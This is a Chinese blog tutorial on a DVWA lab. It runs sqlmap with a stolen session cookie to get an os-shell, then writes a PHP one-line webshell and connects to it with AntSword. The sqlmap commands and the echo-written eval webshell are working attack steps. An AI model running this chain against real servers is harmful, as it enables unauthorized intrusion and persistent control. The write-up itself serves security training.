【渗透练习系列】DVWA的一次登录后通过Sqlmap拿到os-shell,命令执行写入一句话-01

sqlmap --os-shell 使用方法 可以看到最下方有文件上传的位置,在这里我们可以上传一句话木马。如上图所示,红框处很明显是一个传参点,我们就在这个页面抓包。总结:sqlmap -os-shell 的使用需要以下条件。抓到包之后将内容保存到桌面的1000.txt文件下。--os-shell:本质就是写入两个php文件。-dbms=mysql:指定跑mysql数据库。我们获得了两个url,我们访问第一个url。这里我们先选择4,因为网站是php代码写的。三、上传一句话木马,连接蚁剑。上图就是一句话木马的内容。二、sqlmap跑包。 阅读详情

一、前言

本次将通过DVWA靶机来展示怎样通过Sqlmap获取目标os-shell,得到命令执行权限,从而写入一句话木马,持续控制目标服务器。

二、测试

1.打开目标站点:http://192.200.30.126/DVWA/login.php,从网页后缀和wappalyzer浏览器插件来看,站点的编程语言为PHP。
在这里插入图片描述2.输入账号跟密码登录后台,同时开启Burp抓取http包。
获取登录后的Cookie值:
在这里插入图片描述3.找到存在SQL注入的模块。获取URL。

http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

在这里插入图片描述4.由于该页面是登录后,不能直接用SQLMAP跑,需要加入Cookie来注入。构造如下命令:

sqlmap.py -u "http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=43teu289ku4vi8g9updhua57o3" --batch

在这里插入图片描述这里可以看到是存在数字型注入的,可通过’–+进行闭合。

5.直接通过手工注入,爆出数据库路径为D:\phpstudy_pro\Extensions\MySQL5.7.26
看到站点通过phpstudy搭建,猜测web路径为:D:\phpstudy_pro\WWW
【注意】:通过sqlmap获取os-shell,需要知道站点的绝对路径。
在这里插入图片描述6.直接通过SQLMAP加载os-shell。执行如下命令:

sqlmap.py -u "http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=43teu289ku4vi8g9updhua57o3" --os-shell

在这里插入图片描述1).第一个选择,首先选择web支持的脚本语言。(之前已经知道网站是PHP语言,)
2).第二个选择,您希望sqlmap进一步尝试揭示完整路径吗? Y
3).第三个选择,302重定向到目标URL。 你想跟上吗? Y
4).第四个选择,你提供了一个HTTP Cookie头值,而目标URL在与你的Cookie头相交的HTTP Set-Cookie头中提供了自己的Cookie。 是否要在进一步的请求中合并它们? n
5).第五个选择,你想用什么作为可写目录?
[1] 常用路径枚举
[2]自定义路径
[3] 自定义枚举字典
[4] 蛮力枚举路径

这里选择2,使用之前猜测的web路径:D:\phpstudy_pro\WWW\,不过这里需要使用反斜杠:D:/phpstudy_pro/WWW/

7.获取到os-shell后,直接命令执行whoami,发现直接是system权限。
在这里插入图片描述
8.通过dir获取当前路径,D:\phpstudy_pro\WWW\路径下确实是DVWA网站的web路径。
在这里插入图片描述
9.直接通过echo写入一句话PHP木马,写入到web的根路径下。这里敲完命令就直接按回车。

echo "<?php @eval($_POST["shell"]);?>" > shell.php

在这里插入图片描述
10.直接通过蚁剑连接,测试连接成功。成功获取目标站点管理权限。
在这里插入图片描述在这里插入图片描述

SQL注入SQLmap简单用法,和SQL注入写入一句话木马 SQL注入 Boolean注入攻击-布尔盲注 1' and length(database())>1 -- qwe 1’ and length(database())>10 # mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。 用法: substr(string string,num start,num length); string为字符串; start为起始位置; length为长度。 1’ and ascii(s 阅读详情

相关推荐

渗透测试漏洞扫描实战:6款核心工具的分层应用与自动化整合

漏洞扫描是网络安全领域的基础性技术,其核心原理在于模拟攻击者行为,通过自动化工具系统性地探测目标系统中存在的已知安全弱点,如软件漏洞、配置错误等。这项技术的核心价值在于将海量、重复的排查工作自动化,使安全工程师能够聚焦于更高级的逻辑分析与漏洞利用,从而显著提升安全评估的效率与覆盖率。在应用场景上,漏洞扫描贯穿于渗透测试的全流程,从初期的资产发现与信息搜集,到中期的全面漏洞初筛,再到后期的手动验证与深度利用,形成了分层递进的技术栈。本文聚焦于渗透测试实战,深入解析了包括Nmap、AWVS、Burp Suite

weixin_34161029的博客 394

3 渗透测试工具详解与实操指南

hackbar中 执行cmd=phpinfo(); 后显示画面再连接 复制地址URL---打开蚁剑---右键---添加数据,url地址:复制粘贴.密码:post的参数是什么就写什么,测试右键打开终端/文件夹等成功,说明连接成功

悟道子HD 1625

网络安全竞赛实战复盘:从加固到渗透的AB模块核心技能解析

网络安全的核心在于构建纵深防御体系与掌握系统化攻防对抗能力。其基本原理遵循经典的‘保护、检测、响应、恢复’模型,通过访问控制、加密、入侵检测等技术手段保障信息资产的机密性、完整性与可用性。掌握这些技术对于培养实战型安全人才具有关键价值,广泛应用于企业安全运维、渗透测试、应急响应等场景。本文以一次典型的网络安全职业技能竞赛为切入点,深入剖析了竞赛中A模块(安全运维与加固)与B模块(渗透测试与漏洞利用)的实战任务链。内容聚焦于如何将通用的安全加固原则(如权限最小化、服务端口管控)应用于具体的操作系统与网络设备配

weixin_30654583的博客 494

sql注入学习

sql注入学习

qq_42685664的博客 1824

渗透测试实战指南:从信息搜集到权限提升的完整流程解析

渗透测试是网络安全领域一项系统化的安全评估方法,其核心原理在于模拟真实攻击者的思维与行为,通过授权的方式主动发现系统脆弱性。这项技术的核心价值在于帮助企业提前识别风险、验证防御体系的有效性,并推动安全加固。在应用场景上,它广泛适用于金融、互联网、政企等各类组织的网络与应用安全评估。本文以实战为导向,深入剖析了渗透测试中信息搜集、漏洞利用与权限提升等关键环节,并融入了Nmap扫描、Metasploit框架等热词,为安全从业者提供了一份从外网突破到内网横向移动的完整技术路径与工程实践参考。

weixin_33733810的博客 617

从零到一:白帽子渗透测试实战成长与思维进阶全解析

渗透测试是网络安全领域的核心实践,旨在通过模拟攻击来评估系统安全。其原理在于主动发现并利用系统、应用或网络中的安全弱点,以验证其防护有效性。掌握渗透测试技术对于构建主动防御体系、提升整体安全水位具有重要价值,广泛应用于企业安全评估、合规审计与漏洞众测等场景。本文聚焦于渗透测试实战中的关键环节,深入剖析了从信息收集、漏洞扫描到权限提升的完整技术链条,并特别探讨了如何克服常见的“工具依赖症”,实现从执行清单到策略分析的思维跃迁。文中融入了对SQL注入、文件上传等经典漏洞的手动测试与自动化验证技巧,以及针对老旧框

weixin_34310369的博客 323

sqlmap --os-shell(写入木马获取getshell)

python sqlmap.py -r C:\Users\南倾\Desktop\222.txt --os-shell。将POST包放入TXT文本中 并启动sqlmap读取txt文件。对存在SQL注入处抓包,查看报错暴露出绝对路径。

qq_59607911的博客 1084

网络安全实战进阶:从OWASP Top 10到内网渗透的面试与能力构建指南

网络安全的核心在于建立结构化的知识体系和实战化的思维框架。其基础概念源于对常见攻击面(如Web应用与内网环境)的系统性理解。从原理层面看,安全评估遵循着信息收集、漏洞检测、渗透利用及权限维持等标准化流程,这要求从业者不仅掌握工具使用,更要理解其背后的防御逻辑与技术价值。在工程实践中,自动化扫描工具(如OWASP ZAP)与手动代码审计的结合,以及依赖检查(如Dependency-Check)在CI/CD中的集成,是实现安全左移和构建主动防御能力的关键。应用场景广泛覆盖从外部Web漏洞挖掘到内网横向移动的完整

weixin_30564785的博客 299

CTF Web安全入门:SQL注入、文件上传与命令执行三大核心漏洞详解

Web安全是网络安全领域的基础与核心,其本质在于Web应用程序因未对用户输入进行充分验证和过滤,导致攻击者能够执行非预期操作。从原理层面看,这通常源于信任边界模糊和数据与代码的混淆。掌握这些基础漏洞的原理,对于理解现代应用安全、构建纵深防御体系具有极高的技术价值,是渗透测试、红队评估和安全开发的必备技能。在CTF竞赛和实战渗透场景中,SQL注入、文件上传和命令执行作为最经典且高发的漏洞类型,常被组合利用以突破防线。本文聚焦于这三大核心漏洞的探测、利用与绕过技巧,通过剖析**联合查询注入**的完整利用链和**

weixin_34377919的博客 404

安全工程师的Linux内核级实战指南

Linux操作系统是网络安全工作的底层基石,其核心机制涵盖进程管理、权限控制、系统调用与日志体系四大维度。理解POSIX标准、内核task_struct结构体、capability能力模型及journald哈希链等原理,能显著提升渗透测试、红队作战与日志溯源的精准度。在Kali与Ubuntu等主流安全发行版中,掌握strace调试、ss网络分析、sticky bit粘滞位、cgroups资源隔离及journalctl二进制日志解析等技术,可有效规避‘Permission denied’、僵尸进程、日志丢失等

weixin_33907511的博客 329

2026版漏洞挖掘入门指南:从原理到实战的完整学习路径

漏洞挖掘作为网络安全领域的核心技能,其本质是一种创造性测试,要求测试者兼具开发者思维与攻击者视角。理解其原理需要扎实的网络协议基础,包括HTTP/HTTPS、TCP/IP等,这是分析Web应用通信与识别潜在风险的前提。在技术层面,掌握前端与后端技术通识,特别是对用户输入的处理逻辑,是发现SQL注入、文件上传等经典漏洞的关键。漏洞挖掘的技术价值在于主动发现并修复系统缺陷,保障数字资产安全,其应用场景已从传统Web渗透测试扩展至移动应用、物联网及云原生环境。本文聚焦于实战技能提升,系统梳理了从网络协议基础到业务

bk_lin的专栏 364

SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

freeking101的博客 7613

2026年Web安全入门指南:从OWASP Top 10到实战防御

Web安全是网络安全领域的核心组成部分,其本质在于保护Web应用免受恶意攻击和数据泄露。其基本原理涉及对HTTP协议、前后端交互机制以及常见漏洞模式的深入理解。掌握Web安全技术对于构建可信赖的数字化服务具有关键价值,能有效防御数据篡改、服务中断和隐私侵犯等风险。应用场景广泛覆盖从传统网站到现代API、微服务及云原生架构。本指南聚焦于OWASP Top 10核心漏洞,如SQL注入和跨站脚本(XSS),通过手动复现与自动化工具结合的方式,系统讲解从漏洞原理到实战利用,再到代码级防御的完整路径,并融入对API安

weixin_33766168的博客 447

OWASP Top 10实战指南:从红蓝对抗视角构建Web安全攻防技能

Web安全的核心在于理解漏洞的产生原理与利用方式。注入、访问控制失效等常见漏洞源于应用程序对用户输入处理不当或权限校验缺失,攻击者可通过构造恶意输入执行非授权操作。掌握这些原理对构建有效防御体系至关重要。在工程实践中,红蓝对抗思维能极大提升安全防护的实战性,通过模拟攻击者视角,将OWASP Top 10清单中的理论漏洞转化为可演练的攻击剧本。本指南聚焦于如何将安全配置错误、服务器端请求伪造等高频风险点武器化,并串联形成完整攻击链,帮助开发与安全人员在合法靶场中锤炼攻防一体的核心能力。

weixin_34221773的博客 420

网络安全漏洞挖掘实战:40个核心姿势与系统化攻击框架解析

在网络安全领域,漏洞挖掘是识别和利用系统安全缺陷的核心技术。其原理在于通过系统化的信息收集、攻击面枚举和漏洞模式匹配,发现软件或网络中的潜在弱点。这项技术的价值在于主动发现风险,提升系统防御能力,广泛应用于渗透测试、红蓝对抗和代码审计等场景。本文聚焦实战,深入解析了包括SQL注入、SSRF、文件上传绕过、越权访问等高频漏洞在内的40个核心攻击姿势,并提供了从信息测绘到深度利用的完整框架。通过结合业务逻辑漏洞挖掘与自动化工具辅助,旨在帮助安全从业者构建系统化的漏洞挖掘思维,有效应对Web应用、网络服务及云基础

cuxiong8996的博客 429

从脚本小子到安全猎人:40个核心姿势构建体系化漏洞挖掘思维

漏洞挖掘是网络安全领域的核心技能,其本质在于发现软件系统中“预期”与“实际”行为之间的偏差。从原理层面看,攻击者通过构造异常输入,利用程序在处理数据流和信任边界时的缺陷,实现未授权访问、信息泄露或权限提升。这项技术的价值在于主动发现潜在风险,是保障业务安全、构建防御体系的前置关键环节,广泛应用于渗透测试、红蓝对抗、安全审计与应急响应等场景。掌握体系化的挖掘方法,能有效识别SQL注入、XSS、逻辑漏洞等常见威胁,并深入理解业务安全风险。本文基于实战经验,系统梳理了从信息收集、威胁建模到漏洞验证的完整工作流,并

weixin_33695450的博客 536

OWASP Top 10 安全入门实战:从原理到靶场构建全方位防御体系

Web应用安全是保障数字资产的核心,其基础在于理解常见攻击原理与防御机制。从概念上讲,安全风险通常源于信任边界模糊、输入验证缺失或配置不当。其技术原理涉及数据与指令的混淆、身份验证绕过及敏感信息保护失效等。掌握这些原理对构建健壮系统具有极高价值,能有效防止数据泄露、服务中断及未授权访问。在实际应用场景中,无论是开发新功能、代码审查还是系统运维,都需要系统性地应对这些风险。本文以权威的OWASP Top 10安全风险清单为框架,深入剖析了如**注入攻击**、**失效的访问控制**等核心漏洞的形成机制与修复方案

weixin_34221775的博客 330

SQL注入获取系统权限的方式总结

本文详细介绍了通过MySQL获取系统权限的多种方法,包括前置条件、权限查看、secure_file_priv配置说明,以及在实际环境中利用MySQL写webshell和UDF提权的具体操作步骤。主要内容涵盖:1. 基本环境要求(写权限、路径、root权限);2. 关键参数secure_file_priv的作用与配置修改;3. 获得MySQL账号后写入webshell的多种方式(INTO OUTFILE、日志文件、慢查询);4. Windows/Linux下的UDF提权技术;5. SQL注入获取高权限时的利用

渗透之路,攻防之间皆学问 3万+
上一篇: 【vulhub漏洞复现】Tomcat7+弱密码&&后端Getshell漏洞-03
下一篇: 【渗透练习系列】DVWA靶机实战,通过XSS盗取cookie登录-02
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值